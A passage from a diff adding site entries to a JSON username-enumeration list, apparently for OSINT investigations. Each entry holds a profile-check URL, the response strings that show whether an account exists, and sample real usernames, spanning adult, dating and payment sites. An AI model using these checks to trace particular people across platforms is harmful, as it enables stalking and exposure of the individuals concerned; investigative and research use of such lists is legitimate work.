"m_code" : 404, + "known" : ["david01", "brahim01"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "SEOClerks", + "uri_check" : "https://www.seoclerks.com/user/{account}", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "SEO Marketplace", + "m_code" : 302, + "known" : ["Vfmseo", "gokudadon"], + "cat" : "social", + "valid" : true + }, + { + "name" : "setlist.fm", + "uri_check" : "https://www.setlist.fm/user/{account}", + "e_code" : 200, + "e_string" : "s setlist.fm | setlist.fm", + "m_string" : "Sorry, the page you requested doesn't exist", + "m_code" : 404, + "known" : ["bendobrin", "michi"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Sexworker", + "uri_check" : "https://sexworker.com/api/profile/{account}", + "uri_pretty" : "https://sexworker.com/{account}", + "e_code" : 200, + "e_string" : "profilePictureUrl", + "m_code" : 404, + "m_string" : "This user does not exist.", + "known" : ["sakii_nightshade", "annajean2319"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "SFD", + "uri_check" : "https://www.sfd.pl/profile/{account}", + "e_code" : 200, + "e_string" : "Tematy użytkownika", + "m_string" : "Brak aktywnego profilu na forum", + "m_code" : 404, + "known" : ["janek", "admin"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Shanii Writes", + "uri_check" : "https://forum.shanniiwrites.com/u/{account}/summary.json", + "uri_pretty" : "https://forum.shanniiwrites.com/u/{account}", + "e_code" : 200, + "e_string" : "topics", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["chococarmela", "wolfgamergirl37"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Shesfreaky", + "uri_check" : "https://www.shesfreaky.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s Profile - ShesFreaky", + "m_code" : 302, + "m_string" : "", + "known" : ["tata23", "fitzsta"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "shopify", + "uri_check" : "https://{account}.myshopify.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "home", + "m_string" : "Sorry, this shop is currently unavailable.", + "m_code" : 404, + "known" : ["john", "daniel"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "shutterstock", + "uri_check" : "https://www.shutterstock.com/g/{account}", + "e_code" : 200, + "e_string" : "| Shutterstock", + "m_string" : "Well, this is unexpected...", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "images", + "valid" : true + }, + { + "name" : "skeb", + "uri_check" : "https://skeb.jp/@{account}", + "e_code" : 200, + "e_string" : ") | Skeb", + "m_code" : 503, + "m_string" : "Skeb - Request Box", + "known" : ["eipuru_", "sime064"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Skyrock", + "uri_check" : "https://{account}.skyrock.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "'s blog", + "m_string" : "Page not found - ", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SlackHoles", + "uri_check" : "https://slackholes.com/actor/{account}/", + "e_code" : 200, + "e_string" : "Pussy and Ass Sizes", + "m_string" : "It looks like nothing was found at this location", + "m_code" : 404, + "known" : ["alexbreecooper", "roxy-raye"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "slant", + "uri_check" : "https://www.slant.co/users/{account}", + "e_code" : 200, + "e_string" : "s Profile - Slant", + "m_string" : "404 - Page Not Found - Slant", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "slideshare", + "uri_check" : "https://www.slideshare.net/{account}", + "e_code" : 200, + "e_string" : "photo user-photo", + "m_string" : "is still available. Why not", + "m_code" : 404, + "known" : ["test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "slides", + "uri_check" : "https://slides.com/{account}", + "e_code" : 200, + "e_string" : "Presentations by", + "m_string" : "You may have mistyped the address", + "m_code" : 404, + "known" : ["arunthomas"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SmashRun", + "uri_check" : "https://smashrun.com/{account}/", + "e_code" : 200, + "e_string" : "Miles run overall", + "m_string" : "no Smashrunner with the username", + "m_code" : 404, + "known" : ["john.young"], + "cat" : "health", + "valid" : true + }, + { + "name" : "smelsy", + "uri_check" : "https://www.smelsy.com/profile/{account}", + "e_code" : 200, + "e_string" : "Smelsy -", + "m_string" : "Server Error", + "m_code" : 500, + "known" : ["mohamed01", "ahmed"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "SmugMug", + "uri_check" : "https://{account}.smugmug.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "schema.org/Person", + "m_string" : "schema.org/Thing", + "m_code" : 404, + "known" : ["wow", "jill"], + "cat" : "images", + "valid" : true + }, + { + "name" : "smule", + "uri_check" : "https://www.smule.com/api/profile/?handle={account}", + "uri_pretty" : "https://www.smule.com/{account}", + "e_code" : 200, + "e_string" : "account_id", + "m_string" : "code\": 65", + "m_code" : 400, + "known" : ["cgrrose", "John___Anish"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Snapchat", + "uri_check" : "https://feelinsonice.appspot.com/web/deeplink/snapcode?username={account}&size=400&type=SVG", + "uri_pretty" : "https://www.snapchat.com/add/{account}", + "e_code" : 200, + "e_string" : "</clipPath>", + "m_string" : "http://www.w3.org/1999/xlink", + "m_code" : 404, + "known" : ["billy23", "mrbean", "alexis4"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Snapchat Stories", + "uri_check" : "https://story.snapchat.com/s/{account}", + "e_code" : 200, + "e_string" : "is on Snapchat!", + "m_string" : "Not_Found", + "m_code" : 404, + "known" : ["djkhaled305", "mileycyrus"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Snipfeed", + "uri_check" : "https://snipfeed.co/{account}", + "e_code" : 200, + "e_string" : "creatorLink", + "m_code" : 404, + "m_string" : "Oops, you hit a dead end!", + "known" : ["mycherrycrush", "honey"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "social.bund.de", + "uri_check" : "https://social.bund.de/@{account}", + "e_code" : 200, + "e_string" : "@social.bund.de) - social.bund.de", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["bfdi", "bmdv"], + "cat" : "social", + "valid" : true + }, + { + "name" : "soc.citizen4.eu", + "uri_check" : "https://soc.citizen4.eu/profile/{account}/profile", + "e_code" : 200, + "e_string" : "@soc.citizen4.eu", + "m_string" : "Nie znaleziono", + "m_code" : 404, + "known" : ["admin", "miklo"], + "cat" : "social", + "valid" : true + }, + { + "name" : "social_msdn", + "uri_check" : "https://social.msdn.microsoft.com/profile/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.", + "m_code" : 404, + "known" : ["edoardo", "microsoftfan"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-social_tchncs", + "uri_check" : "https://social.tchncs.de/@{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you are looking for isn't here", + "m_code" : 301, + "known" : ["michael", "frank"], + "cat" : "social", + "valid" : true + }, + { + "name" : "sofurry", + "uri_check" : "https://{account}.sofurry.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "'s Profile | SoFurry", + "m_string" : "SoFurry - Error | SoFurry", + "m_code" : 404, + "known" : ["reeden-landshey", "tigerzero"], + "cat" : "art", + "valid" : true + }, + { + "name" : "SoliKick", + "uri_check" : "https://solikick.com/-{account}", + "e_code" : 200, + "e_string" : "page_guest_users-view", + "m_string" : "This item has been removed or is no longer available", + "m_code" : 302, + "known" : ["milehighed", "Edmundus"], + "cat" : "social", + "valid" : true + }, + { + "name" : "soloby", + "uri_check" : "http://www.soloby.ru/user/{account}", + "e_code" : 200, + "e_string" : "- Универ soloBY", + "m_string" : "Универ soloBY", + "m_code" : 404, + "known" : ["igor", "dana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "solo.to", + "uri_check" : "https://solo.to/{account}", + "e_code" : 200, + "e_string" : "create your own page", + "m_code" : 404, + "m_string" : "The page you're looking for isn't here.", + "known" : ["saruei", "yui"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SoundCloud", + "uri_check" : "https://soundcloud.com/{account}", + "e_code" : 200, + "e_string" : "SoundCloud", + "m_string" : "sounds", + "m_code" : 404, + "known" : ["test123"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Soup", + "uri_check" : "https://www.soup.io/author/{account}", + "e_code" : 200, + "e_string" : "Author at Soup.io", + "m_string" : "Soup.io - News, Sports, Entertainment, TV, Tech, Gaming", + "m_code" : 301, + "known" : ["john", "cristina"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Sourceforge", + "uri_check" : "https://sourceforge.net/u/{account}/profile", + "e_code" : 200, + "e_string" : " / Profile", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "SpankPay", + "uri_check" : "https://api.spankpay.com/graphql", + "uri_pretty" : "https://spankpay.me/{account}", + "post_body" : "NEED TO FIX THIS", + "e_code" : 200, + "e_string" : "headerPhoto", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["Medroxy","brittanyandrews"], + "cat" : "finance", + "valid" : false + }, + { + "name" : "Speaker Deck", + "uri_check" : "https://speakerdeck.com/{account}/", + "e_code" : 200, + "e_string" : ") on Speaker Deck", + "m_string" : "User Not Found - Speaker Deck", + "m_code" : 404, + "known" : ["petecheslock", "turbosmart45"], + "cat" : "social", + "valid" : true + }, + { + "name" : "speedrun", + "uri_check" : "https://www.speedrun.com/user/{account}/", + "e_code" : 200, + "e_string" : "Runs - ", + "m_string" : "speedrun.com", + "m_code" : 404, + "known" : ["mike", "chris"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "SpiceWorks", + "uri_check" : "https://community.spiceworks.com/people/{account}", + "e_code" : 200, + "e_string" : "Portfolio of IT Projects - Spiceworks", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["spicerex", "rod-it"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "sporcle", + "uri_check" : "https://www.sporcle.com/user/{account}/people/", + "e_code" : 200, + "e_string" : "'s Sporcle Friends", + "m_string" : "This Sporcle user cannot be found.", + "m_code" : 301, + "known" : ["Test", "lolshortee"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Spotify", + "uri_check" : "https://open.spotify.com/user/{account}", + "e_code" : 200, + "e_string" : "on Spotify", + "m_string" : "Spotify - Web Player", + "m_code" : 200, + "known" : ["kexp_official", "mkbhd"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Steam", + "uri_check" : "https://steamcommunity.com/id/{account}", + "e_code" : 200, + "e_string" : "g_rgProfileData =", + "m_string" : "Steam Community :: Error", + "m_code" : 200, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "steemit", + "uri_check" : "https://steemit.com/@{account}", + "e_code" : 200, + "e_string" : "blog", + "m_string" : "Page Not Found - Steemit", + "m_code" : 301, + "known" : ["petlover", "zalat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "steller", + "uri_check" : "https://steller.co/{account}", + "e_code" : 200, + "e_string" : " on Steller", + "m_string" : "", + "m_code" : 404, + "known" : ["jeannnn", "havwoods"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Stoners.social (Mastodon Instance)", + "uri_check" : "https://stoners.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://stoners.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Tony", "slothmagic"], + "cat" : "social", + "valid" : true + }, + { + "name" : "StoryCorps", + "uri_check" : "https://archive.storycorps.org/user/{account}/", + "e_code" : 200, + "e_string" : "archive author", + "m_string" : "We're sorry, but the page", + "m_code" : 404, + "known" : ["jthorstad", "paul-swider"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "StreamElements", + "uri_check" : "https://api.streamelements.com/kappa/v2/channels/{account}", + "uri_pretty" : "https://streamelements.com/{account}", + "e_code" : 200, + "e_string" : "\"providerId\"", + "m_code" : 404, + "m_string" : "error", + "known" : ["honey", "dude"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "StreamLabs", + "uri_check" : "https://streamlabs.com/api/v6/user/{account}", + "uri_pretty" : "https://streamlabs.com/{account}/tip", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 401, + "m_string" : "UNAUTHORIZED", + "known" : ["veibae", "cutie_cori"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Stripchat", + "uri_check" : "https://stripchat.com/{account}", + "e_code" : 200, + "e_string" : "I Do in My Shows:", + "m_string" : "Oops. The page you were looking for doesn't exist", + "m_code" : 404, + "known" : ["DulcieRichard", "Katie-Mili"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Subscribestar", + "uri_check" : "https://subscribestar.adult/{account}", + "e_code" : 200, + "e_string" : "CREATOR STATS", + "m_code" : 404, + "m_string" : "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "known" : ["missmoonified", "honey"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "sukebei.nyaa.si", + "uri_check" : "https://sukebei.nyaa.si/user/{account}", + "e_code" : 200, + "e_string" : "'s torrents", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : ["kouhy76", "Rektr0"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Suzuri", + "uri_check" : "https://suzuri.jp/{account}", + "e_code" : 200, + "e_string" : "Items", + "m_string" : "Push Space-key", + "m_code" : 404, + "known" : ["itochanxxx", "alex"], + "cat" : "business", + "valid" : true + }, + { + "name" : "szmer.info", + "uri_check" : "https://szmer.info/u/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Code: Couldn't find that username or email.", + "m_code" : 200, + "known" : ["przeczzpreczem", "Xavier"], + "cat" : "social", + "valid" : true + }, + { + "name" : "tabletoptournament", + "uri_check" : "https://www.tabletoptournaments.net/eu/player/{account}", + "e_code" : 200, + "e_string" : "- Player Profile | T³ - TableTop Tournaments", + "m_string" : "No player with the nickname", + "m_code" : 200, + "known" : ["Lars01", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Tagged", + "uri_check" : "https://secure.tagged.com/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Tagged - The social network for meeting new people", + "m_code" : 302, + "known" : ["Samantha", "Robert"], + "cat" : "social", + "valid" : true + }, + { + "name" : "TamTam", + "uri_check" : "https://tamtam.chat/{account}", + "e_code" : 200, + "e_string" : "deeplink=tamtam://chat/", + "m_string" : "ТамТам", + "m_code" : 302, + "known" : ["blue", "John"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tanuki.pl", + "uri_check" : "https://tanuki.pl/profil/{account}", + "e_code" : 200, + "e_string" : "Dołączył", + "m_string" : "Nie ma takiego użytkownika", + "m_code" : 404, + "known" : ["ania", "avellana"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "TAPiTAG", + "uri_check" : "https://account.tapitag.co/tapitag/api/v1/{account}", + "uri_pretty" : "https://account.tapitag.co/{account}", + "e_code" : 200, + "e_string" : "User details are Showing", + "m_string" : "The rf number is not valid", + "m_code" : 200, + "known" : ["JonathanWallace", "gearoidconsidine"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Tappy", + "uri_check" : "https://api.tappy.tech/api/profile/username/{account}", + "uri_pretty" : "https://www.tappy.tech/{account}", + "e_code" : 200, + "e_string" : "user_id", + "m_string" : "Profile of username Not Found", + "m_code" : 200, + "known" : ["alexborrelli", "domocann"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Taringa", + "uri_check" : "https://www.taringa.net/{account}", + "e_code" : 200, + "e_string" : " en Taringa!", + "m_string" : "Colectiva en Taringa!", + "m_code" : 301, + "known" : ["jocaxav", "engendrometal"], + "cat" : "social", + "valid" : true + }, + { + "name" : "taskrabbit", + "uri_check" : "https://www.taskrabbit.com/profile/{account}/about", + "e_code" : 200, + "e_string" : "’s Profile", + "m_string" : "", + "m_code" : 302, + "known" : ["john", "sam"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Teamtreehouse", + "uri_check" : "https://teamtreehouse.com/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "Oops, Something went missing", + "m_code" : 404, + "known" : ["john"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Teddygirls", + "uri_check" : "https://teddysgirls.net/models/{account}", + "e_code" : 200, + "e_string" : ";s exclusive page to subscribe to her", + "m_string" : "The page you were looking for doesn't exist", + "m_code" : 404, + "known" : ["jaycee-starr", "chubbychick94"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Teespring", + "uri_check" : "https://commerce.teespring.com/v1/stores?slug={account}", + "uri_pretty" : "https://{account}.creator-spring.com", + "e_code" : 200, + "e_string" : "sellerToken", + "m_code" : 404, + "m_string" : "{\"errors\":{\"store\":[\"not found\"]}}", + "known" : ["missmoonified", "honey"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Teknik", + "uri_check" : "https://user.teknik.io/{account}", + "e_code" : 200, + "e_string" : "Public Key", + "m_string" : "The user does not exist", + "m_code" : 200, + "known" : ["red", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Telegram", + "uri_check" : "https://t.me/{account}", + "e_code" : 200, + "e_string" : "tgme_page_title", + "m_string" : "noindex, nofollow", + "m_code" : 200, + "known" : ["alice", "giovanni"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tellonym", + "uri_check" : "https://tellonym.me/{account}", + "e_code" : 200, + "e_string" : "on Tellonym", + "m_string" : "- Honest & Anonymous Feedback", + "m_code" : 404, + "known" : ["jane", "jimmy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tenor", + "uri_check" : "https://tenor.com/users/{account}", + "e_code" : 200, + "e_string" : "
    ", + "m_code" : 404, + "m_string" : "We could not find the page you were looking for.", + "known" : ["gnutv", "d33jay23"], + "cat" : "images", + "valid" : true + }, + { + "name" : "TF2 Backpack Examiner", + "uri_check" : "http://www.tf2items.com/id/{account}/", + "e_code" : 200, + "e_string" : "TF2 Backpack -", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Mastodon-tfl.net.pl", + "uri_check" : "https://tfl.net.pl/@{account}", + "e_code" : 200, + "e_string" : "@tfl.net.pl", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["jaczad", "manies"], + "cat" : "social", + "valid" : true + }, + { + "name" : "themeforest", + "uri_check" : "https://themeforest.net/user/{account}", + "e_code" : 200, + "e_string" : "s profile on ThemeForest", + "m_string" : "Page Not Found | ThemeForest", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "art", + "valid" : true + }, + { + "name" : "thegatewaypundit", + "uri_check" : "https://www.thegatewaypundit.com/author/{account}/", + "e_code" : 200, + "e_string" : "summary", + "m_string" : "Not found, error 404", + "m_code" : 404, + "known" : ["patti", "joehoft"], + "cat" : "political", + "valid" : true + }, + { + "name" : "theguardian", + "uri_check" : "https://www.theguardian.com/profile/{account}", + "e_code" : 200, + "e_string" : "https://www.theguardian.com/profile/", + "m_string" : "Page not found | The Guardian", + "m_code" : 404, + "known" : ["minna-salami", "johnnaughton"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Thetattooforum", + "uri_check" : "https://www.thetattooforum.com/members/{account}/", + "e_code" : 200, + "e_string" : "Insert This Gallery", + "m_string" : "We’re sorry", + "m_code" : 500, + "known" : ["mixdop", "modifyielts"], + "cat" : "art", + "valid" : true + }, + { + "name" : "TikTok", + "uri_check" : "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{account}", + "uri_pretty" : "https://www.tiktok.com/@{account}?lang=en", + "e_code" : 200, + "e_string" : "author_url", + "m_string" : "Something went wrong", + "m_code" : 400, + "known" : ["gordonramsayofficial", "pookiebear73"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tilde.zone (Mastodon Instance)", + "uri_check" : "https://tilde.zone/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://tilde.zone/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["ben", "lunatic"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tinder", + "uri_check" : "https://tinder.com/@{account}", + "e_code" : 200, + "e_string" : ") | Tinder", + "m_string" : "Error |", + "m_code" : 404, + "known" : ["WebBreacher", "OSINT_Tactical"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Twitter archived profile", + "uri_check" : "http://archive.org/wayback/available?url=https://twitter.com/{account}", + "uri_pretty" : "https://web.archive.org/web/2/https://twitter.com/{account}", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["jack", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Twitter archived tweets", + "uri_check" : "http://archive.org/wayback/available?url=https://twitter.com/{account}/status/*", + "uri_pretty" : "https://web.archive.org/web/*/https://twitter.com/{account}/status/*", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["jack", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "twoplustwo", + "uri_check" : "https://forumserver.twoplustwo.com/ajax.php?do=usersearch", + "uri_pretty" : "https://forumserver.twoplustwo.com/search.php", + "post_body" : "securitytoken=guest&do=usersearch&fragment={account}", + "e_code" : 200, + "e_string" : "userid=", + "m_string" : "", + "m_code" : 404, + "known" : ["redsox", "adam"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "twpro", + "uri_check" : "https://twpro.jp/{account}", + "e_code" : 200, + "e_string" : "おとなりさん", + "m_code" : 404, + "m_string" : "をご確認ください。", + "known" : ["wsise47", "tsukiusa630"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ubisoft", + "uri_check" : "https://discussions.ubisoft.com/user/{account}", + "e_code" : 200, + "e_string" : "| Ubisoft Discussion Forums", + "m_string" : "You seem to have stumbled upon a page that does not exist.", + "m_code" : 404, + "known" : ["fizzle_fuze", "th05324"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Udemy", + "uri_check" : "https://www.udemy.com/user/{account}/", + "e_code" : 200, + "e_string" : "| Udemy", + "m_string" : "Online Courses - Learn Anything, On Your Schedule | Udemy", + "m_code" : 301, + "known" : ["stephane-maarek", "lizbrown3"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "uefconnect", + "uri_check" : "https://uefconnect.uef.fi/en/person/{account}/", + "e_code" : 200, + "e_string" : "- UEFConnect", + "m_string" : "Page not found - UEFConnect", + "m_code" : 404, + "known" : ["heli.mutanen", "mette.heiskanen"], + "cat" : "business", + "valid" : true + }, + { + "name" : "uid", + "uri_check" : "http://uid.me/{account}", + "e_code" : 200, + "e_string" : "- uID.me", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "peter"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Uiuxdev.social (Mastodon Instance)", + "uri_check" : "https://uiuxdev.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://uiuxdev.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["msr", "GravelLegend"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ultras Diary", + "uri_check" : "http://ultrasdiary.pl/u/{account}/", + "e_code" : 200, + "e_string" : "Mecze wyjazdowe:", + "m_string" : "Ile masz wyjazdów?", + "m_code" : 404, + "known" : ["janek", "kowal"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "ulub.pl", + "uri_check" : "http://ulub.pl/profil/{account}", + "e_code" : 200, + "e_string" : "Muzyka (", + "m_string" : "Strona nie istnieje.", + "m_code" : 404, + "known" : ["janek", "test"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "unsplash", + "uri_check" : "https://unsplash.com/@{account}", + "e_code" : 200, + "e_string" : "| Unsplash Photo Community", + "m_string" : "Hm, the page you were looking for doesn't seem to exist anymore.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "images", + "valid" : true + }, + { + "name" : "untappd", + "uri_check" : "https://untappd.com/user/{account}/", + "e_code" : 200, + "e_string" : "on Untappd", + "m_string" : "Untappd | 404", + "m_code" : 404, + "known" : ["test", "phil"], + "cat" : "social", + "valid" : true + }, + { + "name" : "USA Life", + "uri_check" : "https://usa.life/{account}", + "e_code" : 200, + "e_string" : "Please log in to like, share and comment", + "m_string" : "Sorry, page not found", + "m_code" : 302, + "known" : ["abaynes79", "not1face"], + "cat" : "social", + "valid" : true + }, + { + "name" : "utip.io", + "uri_check" : "https://utip.io/creator/profile/{account}", + "uri_pretty" : "https://utip.io/{account}", + "e_code" : 200, + "e_string" : "\"userName\"", + "m_code" : 404, + "m_string" : "Not a valid web service key", + "known" : ["honey", "chloe"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Uwumarket", + "uri_check" : "https://uwumarket.us/collections/{account}", + "e_code" : 200, + "e_string" : "collection-hero__text-wrapper", + "m_code" : 404, + "m_string" : "Page not found", + "known" : ["saki", "aicandii"], + "cat" : "business", + "valid" : true + }, + { + "name" : "uwu.ai", + "uri_check" : "https://{account}.uwu.ai/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "property=\"twitter:card\"", + "m_code" : 404, + "m_string" : "Sorry, the requested page could not be found.", + "known" : ["spooky", "citruciel"], + "cat" : "social", + "valid" : true + }, + { + "name" : "vsco", + "uri_check" : "https://vsco.co/{account}/gallery", + "e_code" : 200, + "e_string" : "| VSCO", + "m_string" : "This page does not exist", + "m_code" : 404, + "known" : ["sam", "becca"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Venmo", + "uri_check" : "https://account.venmo.com/u/{account}", + "e_code" : 200, + "e_string" : "profileInfo_username__", + "m_string" : "Sorry, the page you requested does not exist!", + "m_code" : 404, + "known" : ["John-Goolsby-8", "kate-mura"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Vero", + "uri_check" : "https://vero.co/{account}", + "e_code" : 200, + "e_string" : "on VERO™", + "m_string" : "The page you are looking for doesn't exist.", + "m_code" : 404, + "known" : ["alex", "johnny"], + "cat" : "art", + "valid" : true + }, + { + "name" : "vibilagare", + "uri_check" : "https://www.vibilagare.se/users/{account}", + "e_code" : 200, + "e_string" : "Profil på vibilagare.se", + "m_string" : "Sidan hittades inte |", + "m_code" : 404, + "known" : ["lars01", "sven"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "viddler", + "uri_check" : "https://www.viddler.com/channel/{account}/", + "e_code" : 200, + "e_string" : "profile-details", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["GamingParodies", "planphilly"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Vimeo", + "uri_check" : "https://vimeo.com/{account}", + "e_code" : 200, + "e_string" : "is a member of Vimeo, the", + "m_string" : "Make sure you’ve typed the URL correctly", + "m_code" : 404, + "known" : ["john", "alice"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Vine", + "uri_check" : "https://vine.co/api/users/profiles/vanity/{account}", + "uri_pretty" : "https://vine.co/{account}", + "e_code" : 200, + "e_string" : "userId", + "m_string" : "That record does not exist", + "m_code" : 404, + "known" : ["TomHarlock", "Seks"], + "cat" : "video", + "valid" : true + }, + { + "name" : "visnesscard", + "uri_check" : "https://my.visnesscard.com/Home/GetCard/{account}", + "uri_pretty" : "https://my.visnesscard.com/{account}", + "e_code" : 200, + "e_string" : "end_point", + "m_string" : "card_id\": 0", + "m_code" : 200, + "known" : ["Lisa-Gordon", "Bill-Schaeffer"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Vivino", + "uri_check" : "https://www.vivino.com/users/{account}", + "e_code" : 200, + "e_string" : "", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["test", "admin"], + "cat" : "video", + "valid" : true + }, + { + "name" : "VIP-blog", + "uri_check" : "http://{account}.vip-blog.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "blog : ", + "m_string" : "Blog inexistant", + "m_code" : 200, + "known" : ["sarah", "brahim01"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Virustotal", + "uri_check" : "https://www.virustotal.com/gui/user/{account}", + "e_code" : 200, + "e_string" :"USER PROFILE", + "m_string" : "User not found", + "m_code" : 200, + "known" : ["cyber", "cybersecstu"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "VK", + "uri_check" : "https://vk.com/{account}", + "e_code" : 200, + "e_string" : "id=\"profile\"", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["ches_ches", "mike.kidlazy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Vkl.world (Mastodon Instance)", + "uri_check" : "https://vkl.world/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://vkl.world/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["king", "aniver"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Vmst.io (Mastodon Instance)", + "uri_check" : "https://vmst.io/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://vmst.io/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["vmstan", "honestdave"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Voice123", + "uri_check" : "https://voice123.com/api/providers/search/{account}", + "uri_pretty" : "https://voice123.com/{account}", + "e_code" : 200, + "e_string" : "user_id", + "m_code" : 200, + "m_string" : 